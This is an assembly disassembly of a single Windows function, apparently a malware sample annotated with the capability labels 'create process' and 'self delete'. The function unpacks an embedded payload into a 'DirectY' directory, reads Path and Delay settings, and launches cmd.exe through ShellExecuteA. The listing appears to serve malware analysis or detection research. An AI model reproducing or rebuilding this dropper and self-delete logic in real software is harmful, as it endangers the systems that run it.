Function at 0x426ee0
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x140]
push ebx
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
xor eax, eax
push fcn.00426e80
push ebp
push 0x414260
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x5d6670], 0x1ee400
push 0
lea eax, [ebp - 0x1c]
call fcn.00426cd0
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 8]
mov ecx, str.DirectY
call fcn.00408a80
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00414970
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0xc]
call fcn.00426970
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x426f87
mov eax, dword [eax - 4]
mov dword [0x5d6604], eax
mov eax, dword [ebp - 8]
call fcn.00412f70
mov eax, dword [ebp - 8]
mov edx, 6
call fcn.00445fc0
lea eax, [ebp - 0x20]
call fcn.00403ac0
push 0xffff
mov edx, dword [ebp - 8]
mov ecx, str.php
lea eax, [ebp - 0x20]
call fcn.00408a80
mov eax, dword [ebp - 0x20]
call fcn.00412f70
lea eax, [ebp - 0x20]
call fcn.00403ac0
push 0xffff
mov edx, dword [ebp - 8]
mov ecx, str.phpext
lea eax, [ebp - 0x20]
call fcn.00408a80
mov eax, dword [ebp - 0x20]
call fcn.00412f70
call fcn.0040ef30
test ax, ax
je 0x426ffc
push 1
call sub.kernel32.dll_Sleep
mov eax, 0xff
call fcn.0040ee60
add eax, 1
mov byte [ebp - 0x18], al
push 0
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [0x5d6670]
mov eax, dword [ebp - 0xc]
mov edx, 1
call fcn.004097a0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [0x5d6604]
mov eax, dword [0x5d6670]
sub ecx, eax
sub ecx, 1
mov eax, dword [0x5d6670]
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
call fcn.004097a0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0xc]
mov edx, dword [0x5d6604]
mov dl, byte [ecx + edx - 1]
lea ecx, [ebp - 0x1c]
call fcn.00426c10
mov eax, dword [ebp - 0x1c]
mov dl, byte [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00426b40
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov al, byte [ebp - 0x18]
lea ecx, [ebp - 0x38]
xor dx, dx
call fcn.00409270
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0x10]
mov ecx, 2
call fcn.00408d10
lea eax, [ebp - 0x34]
call fcn.00403ac0
push 0
mov ecx, dword [0x5d6600]
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x34]
call fcn.00408a80
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x10]
call fcn.00426a20
mov dword [ebp - 4], 0
lea esi, [esi]
add dword [ebp - 4], 1
lea eax, [ebp - 0x34]
call fcn.00403ac0
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d6600]
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x34]
call fcn.00408a80
lea ebx, [ebp - 0x34]
mov eax, dword [ebx]
call fcn.004707e0
mov ecx, dword [ebp - 4]
mov ebx, dword [ecx*8 + 0x5d6604]
mov ecx, ebx
sar ecx, 0x1f
cmp edx, ecx
jne 0x427114
cmp eax, ebx
je 0x42712c
mov eax, dword [ebp - 4]
mov eax, dword [eax*8 + 0x5d6600]
mov edx, str.ini
call fcn.00409540
test eax, eax
jne 0x42715c
lea eax, [ebp - 0x38]
call fcn.00403ac0
push 0xffff
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d6600]
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x38]
call fcn.00408a80
mov eax, dword [ebp - 0x38]
mov dl, 1
call fcn.00445ea0
test al, al
jne 0x4271c0
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d6604]
mov eax, dword [0x5d6670]
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
call fcn.004097a0
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0xc]
mov ecx, dword [0x5d6604]
mov dl, byte [edx + ecx - 1]
lea ecx, [ebp - 0x1c]
call fcn.00426c10
mov ebx, dword [ebp - 0x1c]
lea eax, [ebp - 0x3c]
call fcn.00403ac0
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d6600]
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x3c]
call fcn.00408a80
mov eax, dword [ebp - 0x3c]
mov edx, ebx
call fcn.00426a20
mov esi, esi
mov eax, dword [ebp - 4]
mov edx, dword [eax*8 + 0x5d6604]
add dword [0x5d6670], edx
cmp dword [ebp - 4], 0xd
jl 0x4270d0
call fcn.00426d80
lea edx, [ebp - 0x3c]
xor eax, eax
call fcn.00414970
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x38]
call fcn.00409ed0
mov edx, dword [ebp - 0x38]
mov ecx, 1
mov eax, str.DIRECTY
call fcn.00409850
test eax, eax
jne 0x42721c
lea eax, [ebp - 0x3c]
call fcn.00426e70
mov eax, dword [ebp - 0x3c]
call fcn.0050d4c0
mov esi, esi
mov eax, dword [ebp - 8]
call fcn.00412ff0
call fcn.0040eee0
push 0
mov ecx, 0x586dd0
mov edx, 1
mov eax, 0x5d2ed4
mov ebx, 0x5d2ed4
call dword [ebx + 0x68]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
lea esi, [esi]
add dword [ebp - 4], 1
push 0
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x1c]
call fcn.00403ac0
push 0
push 0xff
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x140]
mov edx, 0xffffffff
call fcn.00404d90
lea ecx, [ebp - 0x40]
xor dx, dx
lea eax, [ebp - 0x140]
call fcn.00409200
xor cl, cl
xor dx, dx
lea eax, [ebp - 0x40]
call fcn.00409fd0
mov ecx, dword [ebp - 0x40]
mov edx, 0x586de0
lea eax, [ebp - 0x1c]
call fcn.00408a80
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov ecx, str.Path
mov ebx, dword [ebp - 0x14]
mov ebx, dword [ebx]
call dword [ebx + 0x74]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 4]
lea eax, [eax*8 + 0x5d6678]
call fcn.00408980
push 0
push 0
lea eax, [ebp - 0x40]
call fcn.00403ac0
push 0
push 0xff
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x140]
mov edx, 0xffffffff
call fcn.00404d90
lea ecx, [ebp - 0x3c]
xor dx, dx
lea eax, [ebp - 0x140]
call fcn.00409200
xor cl, cl
xor dx, dx
lea eax, [ebp - 0x3c]
call fcn.00409fd0
mov ecx, dword [ebp - 0x3c]
mov edx, 0x586de0
lea eax, [ebp - 0x40]
call fcn.00408a80
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov ecx, str.Delay
mov ebx, dword [ebp - 0x14]
mov ebx, dword [ebx]
call dword [ebx + 0x84]
mov edx, dword [ebp - 4]
mov dword [edx*8 + 0x5d667c], eax
mov eax, dword [ebp - 4]
push dword [eax*8 + 0x5d667c]
call sub.kernel32.dll_Sleep
push 0
push 0
lea eax, [ebp - 0x40]
call fcn.00403ac0
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax*8 + 0x5d6678]
mov edx, 0x586e18
lea eax, [ebp - 0x40]
call fcn.00408a80
mov eax, dword [ebp - 0x40]
test eax, eax
jne 0x427383
mov eax, 0x5d52f0
push eax
mov eax, str.cmd.exe
push eax
mov eax, str.open
push eax
mov eax, 0x7530
call fcn.0040ee60
add eax, 0x3e8
push eax
call sub.shell32.dll_ShellExecuteA
cmp dword [ebp - 4], 5
jl 0x427250
mov eax, dword [ebp - 0x14]
call fcn.0040cf50
mov eax, dword [0x5670c0]
mov edx, dword [0x5670c0]
mov edx, dword [edx]
call dword [edx + 0xfc]
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.00426e80
pop ebx
mov esp, ebp
pop ebp
ret